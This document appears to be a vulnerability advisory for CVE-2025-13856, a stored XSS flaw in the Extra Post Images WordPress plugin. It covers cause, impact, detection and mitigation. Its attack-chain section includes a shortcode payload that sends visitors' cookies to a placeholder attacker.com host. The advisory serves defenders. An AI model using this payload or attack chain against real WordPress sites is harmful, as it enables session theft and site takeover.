CVE-2025-13856: 
WordPress vulnerability analysis and mitigation

CVE-2025-13856 is a Stored Cross-Site Scripting (XSS) vulnerability in the Extra Post Images plugin for WordPress, affecting all versions up to and including 1.0. The flaw exists in the id parameter of the extra-images shortcode due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. It was published on December 6, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable code resides in epi.php at lines 92 and 101, where the id parameter passed to the extra-images shortcode is neither sanitized on input nor escaped on output before being rendered in the page HTML. An attacker with at least Contributor-level WordPress access can craft a post or page containing a malicious shortcode payload; the injected script then executes in the browser of any user who visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows persistent malicious JavaScript to execute in the context of any visitor's browser session on the affected WordPress site, enabling session cookie theft, credential harvesting, defacement, or redirection to malicious sites. Because the scope is changed (S:C in CVSS), the injected script can affect users beyond the attacker's own session, including administrators, potentially leading to privilege escalation or full site takeover if an admin account is compromised. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.03%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Extra Post Images plugin version 1.0 or earlier, using tools like WPScan or manual inspection of plugin directories.
2. Obtain Contributor access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site.
3. Craft malicious shortcode: Create or edit a post/page and insert a shortcode payload such as [extra-images id="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"] exploiting the unsanitized id parameter.
4. Publish or submit content: Submit the post for review or publish it (depending on role permissions), embedding the persistent XSS payload in the site's database.
5. Trigger execution: When any user (including administrators) visits the injected page, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or xmlrpc.php containing shortcode content with <script> tags or encoded JavaScript in the id parameter of [extra-images] shortcodes.
• File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing obfuscated or encoded JavaScript within [extra-images id="..."] shortcodes.
• Network: Outbound connections from visitor browsers to unknown external domains shortly after loading pages containing the Extra Post Images shortcode; unusual cookie or credential exfiltration traffic.
• Application: WordPress audit logs (if enabled via plugins like WP Activity Log) showing Contributor-level users creating or editing posts with suspicious shortcode content.

Users should update the Extra Post Images plugin to a version above 1.0 once a patched release is available from the plugin author. In the interim, site administrators should restrict Contributor-level user registration and review existing Contributor accounts for suspicious post content. Disabling or removing the Extra Post Images plugin entirely is an effective workaround until a fix is confirmed. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help block exploitation attempts (Wordfence).

The vulnerability was discovered and reported by Wordfence, which published the initial advisory on December 6, 2025. Red Hat also tracked the CVE in their security advisory database. No significant broader media coverage or notable researcher commentary beyond the initial Wordfence disclosure has been identified (Wordfence, Red Hat CVE).